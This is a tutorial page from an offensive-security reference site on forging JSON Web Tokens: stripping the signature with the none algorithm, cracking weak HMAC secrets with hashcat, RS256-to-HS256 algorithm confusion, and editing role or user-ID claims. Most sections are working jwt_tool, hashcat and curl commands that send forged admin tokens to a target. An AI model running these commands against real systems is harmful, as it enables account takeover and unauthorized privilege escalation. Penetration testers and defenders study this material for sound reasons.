# JWT Exploitation

> Covers attacking JWT authentication flaws including signature bypass, algorithm confusion (none/RS256→HS256), weak secret cracking, and claim manipulation to escalate privileges.

- **URL:** https://hackindex.io/services/web/exploitation/jwt-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-08-11

JWT exploitation forges tokens with modified claims (elevated roles, different user IDs, or admin flags) by exploiting weaknesses identified in [JWT vulnerability testing](https://hackindex.io/services/web/vulnerability-discovery/jwt-vulnerabilities). The goal is accepting a forged token that grants higher access than the original. Before forging, decode the original token and map every claim. The payload often contains `role`, `sub`, `admin`, `user_id`, or `group` fields. Know which claims the application uses for access control before choosing an attack path.

JWT token forgery exploitation techniques covered here:

- None algorithm forgery to strip the signature entirely
- Weak secret cracking with hashcat and resigning with the recovered key
- Algorithm confusion (RS256 to HS256) using the public key as HMAC secret
- User ID and role claim modification for privilege escalation

## JWT Token Forgery via None Algorithm

Create a token with alg:none and no signature. Modify the payload to escalate privileges before encoding. The forged token has two dots and no third segment. That absent signature is the attack. Send it in the Authorization header and observe the response. A 200 with elevated data confirms the server accepted the unsigned token. A 401 or 403 means the library rejects alg:none. Some libraries block only the exact lowercase string `none`. Try `None`, `NONE`, and mixed-case variants if the first attempt fails. jwt_tool generates all case variations automatically with `-X a`.

```bash
jwt_tool $TOKEN -X a -pc role -pv admin
# [+] Tampered JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
```

```bash
FORGED=$(jwt_tool $TOKEN -X a -pc role -pv admin 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')
curl -sk http://$TARGET_IP:$PORT/api/admin -H "Authorization: Bearer $FORGED"
# {"status":"ok","admin":true}
```

## Weak Secret: Resign with Cracked Key

After cracking the HMAC secret with hashcat, resign a modified token using the recovered key. The hashcat output format is `token:secret`. Everything after the colon is the signing secret. If `--show` returns nothing, the secret is not in rockyou. Try a wordlist built from the application name, the domain, and version strings found during enumeration. A cryptographically random secret of sufficient length cannot be cracked this way. Once you have the secret, jwt_tool resigns the modified payload with a valid HS256 signature. The server accepts the forged token because the signature verifies correctly. With signing control you can modify any claim freely.

```bash
hashcat -a 0 -m 16500 $TOKEN /usr/share/wordlists/rockyou.txt --show
# eyJhbGci...:secret123
```

```bash
jwt_tool $TOKEN -S hs256 -p 'secret123' -pc role -pv admin
# [+] Tampered JWT signed with secret123
```

```bash
FORGED=$(jwt_tool $TOKEN -S hs256 -p 'secret123' -pc role -pv admin 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')
curl -sk http://$TARGET_IP:$PORT/api/admin -H "Authorization: Bearer $FORGED"
```

## Algorithm Confusion: RS256 to HS256

When the server uses RS256 and the public key is accessible, sign an HS256 token using the public key as the HMAC secret. The server expects RS256 but receives a token claiming HS256. A vulnerable library then verifies the HS256 signature using the public key as the HMAC secret. You sign with that same public key. Signatures match. The JWKS endpoint at `/.well-known/jwks.json` is the most common source. Also check `/api/keys`, `/jwks`, and the application's OAuth metadata URL. If no JWKS endpoint exists, look for a PEM in the application source or documentation. The attack fails when the library enforces a fixed expected algorithm regardless of the token header. PyJWT and jsonwebtoken patched this class of vulnerability in recent major versions. Older deployments and custom validation middleware remain viable targets.

```bash
curl -sk https://$DOMAIN/.well-known/jwks.json -o jwks.json
# Convert the first RSA key in JWKS to PEM format
python3 -c "
import json, base64
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
with open('jwks.json') as f:
    k = json.load(f)['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(k['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(k['e'] + '=='), 'big')
pub = RSAPublicNumbers(e, n).public_key(default_backend())
print(pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo).decode())
" > public.pem
jwt_tool $TOKEN -X k -pk public.pem -pc role -pv admin
```

## Modify User ID Claim

When the token contains a user ID or sub claim, forge a token with the admin user's ID after discovering it through [IDOR testing](https://hackindex.io/services/web/vulnerability-discovery/idor-testing-by-parameter-tampering) or user enumeration. User ID 1 is the most common admin identifier. It is typically the first account created. If that fails, try 0, 2, and 3. Some applications use UUIDs in the sub claim rather than integers. Find a valid admin UUID through IDOR or exposed API responses before forging. A successful response returns data belonging to the target account, confirming the server trusts the forged claim without secondary validation. This technique requires a cracked or otherwise known HMAC secret. Without a valid key the forged signature will be rejected.

```bash
jwt_tool $TOKEN -S hs256 -p 'secret123' -pc sub -pv 1
```

```bash
FORGED=$(jwt_tool $TOKEN -S hs256 -p 'secret123' -pc sub -pv 1 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')
curl -sk http://$TARGET_IP:$PORT/api/v1/profile -H "Authorization: Bearer $FORGED" | python3 -m json.tool
```

When none of these techniques succeed, the application likely enforces algorithm pinning or uses a patched library. Not all endpoints apply the same validation. Check mobile API routes, legacy paths, and password-reset flows. They sometimes use a different token parsing path with weaker controls. Also verify the token is consumed by the endpoint you are targeting. Swap the payload to nonsense values and check whether behavior changes. No change means the token is ignored there. When algorithm confusion fails, confirm the JWKS key matches the key currently active for signing. Key rotation breaks the attack until you fetch the updated key.

## References

- [jwt_tool](https://github.com/ticarpi/jwt_tool) - JWT forgery supporting none algorithm, algorithm confusion, and HMAC signing
- [PortSwigger: JWT Attacks](https://portswigger.net/web-security/jwt) - Algorithm confusion, none algorithm, and key confusion exploitation
